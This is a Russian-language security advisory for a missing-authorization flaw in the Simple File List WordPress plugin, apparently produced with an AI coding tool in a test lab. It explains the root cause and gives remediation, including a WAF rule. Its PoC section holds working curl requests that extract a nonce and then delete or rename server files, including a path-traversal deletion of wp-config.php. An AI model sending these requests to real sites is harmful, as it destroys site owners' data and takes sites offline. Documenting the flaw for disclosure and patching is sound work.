CVE-2026-11912: Simple File List <= 6.3.7 - Отсутствие авторизации приводит к неавторизованному изменению файлов

Краткое описание

Детали уязвимости

Описание

Плагин Simple File List для WordPress подвержен возможности произвольного изменения файлов из-за недостаточных проверок авторизации во всех версиях до 6.3.7 включительно. Это позволяет неавторизованным злоумышленникам удалять и изменять файлы на сервере.

Анализ первопричины

Уязвимость существует по следующим причинам:

1. Регистрация AJAX-точки: AJAX-действие simplefilelist_edit_job регистрируется с обоими хуками wp_ajax_ и wp_ajax_nopriv_, что разрешает неавторизованный доступ:

   root@kitploit:~

   add_action('wp_ajax_simplefilelist_edit_job', 'simplefilelist_edit_job');
   add_action('wp_ajax_nopriv_simplefilelist_edit_job', 'simplefilelist_edit_job');
   

2. Несовершенная проверка авторизации: Логика авторизации в eeSFL_FileEditor() (строка 1265) использует:

   root@kitploit:~

   if(!is_admin() AND $eeSFL->eeListSettings['AllowFrontManage'] != 'YES') {
       return;
   }
   

   Функция is_admin() возвращает FALSE для AJAX-запросов, из-за чего проверка авторизации прерывается до оценки настройки AllowFrontManage.

3. Раскрытие nonce: Защитный nonce (eeSFL_ActionNonce) генерируется с помощью wp_create_nonce() и отображается в HTML-коде интерфейса, что позволяет злоумышленникам извлечь его без аутентификации.

Оценка воздействия

Влияние на конфиденциальность: Высокое

• Содержимое файлов может быть прочитано через список файлов
• Метаданные файлов раскрыты (имена, размеры, даты)

Влияние на целостность: Высокое (КРИТИЧЕСКОЕ)

• Неавторизованное удаление файлов
• Неавторизованное переименование файлов
• Неавторизованное изменение описания файлов
• Обход пути позволяет удалять критически важные файлы (включая wp-config.php)

Влияние на доступность: Отсутствует

• Операции с файлами напрямую не вызывают DoS, но могут косвенно повлиять на доступность при удалении файлов

Реальная эксплуатация продемонстрирована

В ходе тестирования данная уязвимость была успешно использована для УДАЛЕНИЯ конфигурационного файла WordPress (wp-config.php), что полностью нарушило работу сайта. Это демонстрирует критическую серьезность аспекта обхода пути в данной уязвимости.

Шаги эксплуатации PoC

Шаг 1: Извлечение nonce из интерфейса

# Получение защитного nonce со страницы списка файлов
curl -k -sL "https://poloss-lab.ddev.site/file-list/" | grep -o 'eeSFL_ActionNonce">[^<]*'
# Вывод: eeSFL_ActionNonce">1c14af78c2

Шаг 2: Неавторизованное удаление файла

curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
  -d "action=simplefilelist_edit_job" \
  -d "eeSecurity=1c14af78c2" \
  -d "eeSFL_ID=1" \
  -d "eeFileAction=Delete" \
  -d "eeFileName=test.txt"
# Ответ: SUCCESS

Шаг 3: Неавторизованное переименование файла

curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
  -d "action=simplefilelist_edit_job" \
  -d "eeSecurity=1c14af78c2" \
  -d "eeSFL_ID=1" \
  -d "eeFileAction=Edit" \
  -d "eeFileName=original.pdf" \
  -d "eeFileNameNew=malicious.pdf"
# Ответ: SUCCESS

Шаг 4: Обход пути (КРИТИЧЕСКОЕ - удаление wp-config.php)

curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
  -d "action=simplefilelist_edit_job" \
  -d "eeSecurity=1c14af78c2" \
  -d "eeSFL_ID=1" \
  -d "eeFileAction=Delete" \
  -d "eeFileName=../../wp-config.php"
# Ответ: SUCCESS (КРИТИЧЕСКОЕ - Это нарушает работу сайта!)

Устранение

Немедленные действия

1. Обновить плагин: Обновите Simple File List до версии 6.3.8 или выше
2. Проверить на компрометацию: Проверьте файловую систему на наличие несанкционированных изменений
3. Восстановить резервные копии: Если wp-config.php был затронут, восстановите из резервной копии

Временные меры (если обновление невозможно немедленно)

1. Отключите плагин Simple File List до установки исправления
2. Удалите все страницы, содержащие шорткод [eeSFL]
3. Внедрите правила WAF для блокировки подозрительных AJAX-запросов:
   root@kitploit:~

   # Block simplefilelist_edit_job AJAX calls
   <IfModule mod_rewrite.c>
       RewriteEngine On
       RewriteCond %{QUERY_STRING} action=simplefilelist_edit_job
       RewriteRule ^wp-admin/admin-ajax\.php$ - [F,L]
   </IfModule>
   

Долгосрочные рекомендации

• Внедрить проверку источника запроса (защита CSRF)
• Добавить проверки прав для всех файловых операций
• Ограничить частоту запросов к AJAX-точкам
• Мониторить журналы на наличие подозрительных файловых операций

Ссылки

• Wordfence Intelligence
• Simple File List Plugin Page
• Plugin SVN Trunk

Тестовая среда

• Лаборатория: DDEV poloss-lab
• URL: https://poloss-lab.ddev.site
• Протестированная версия плагина: 6.3.7
• Версия WordPress: Последняя (PHP 8.4)

Отчет создан с помощью Claude Code - Лаборатория тестирования безопасности WordPress Дата: 20 июня 2026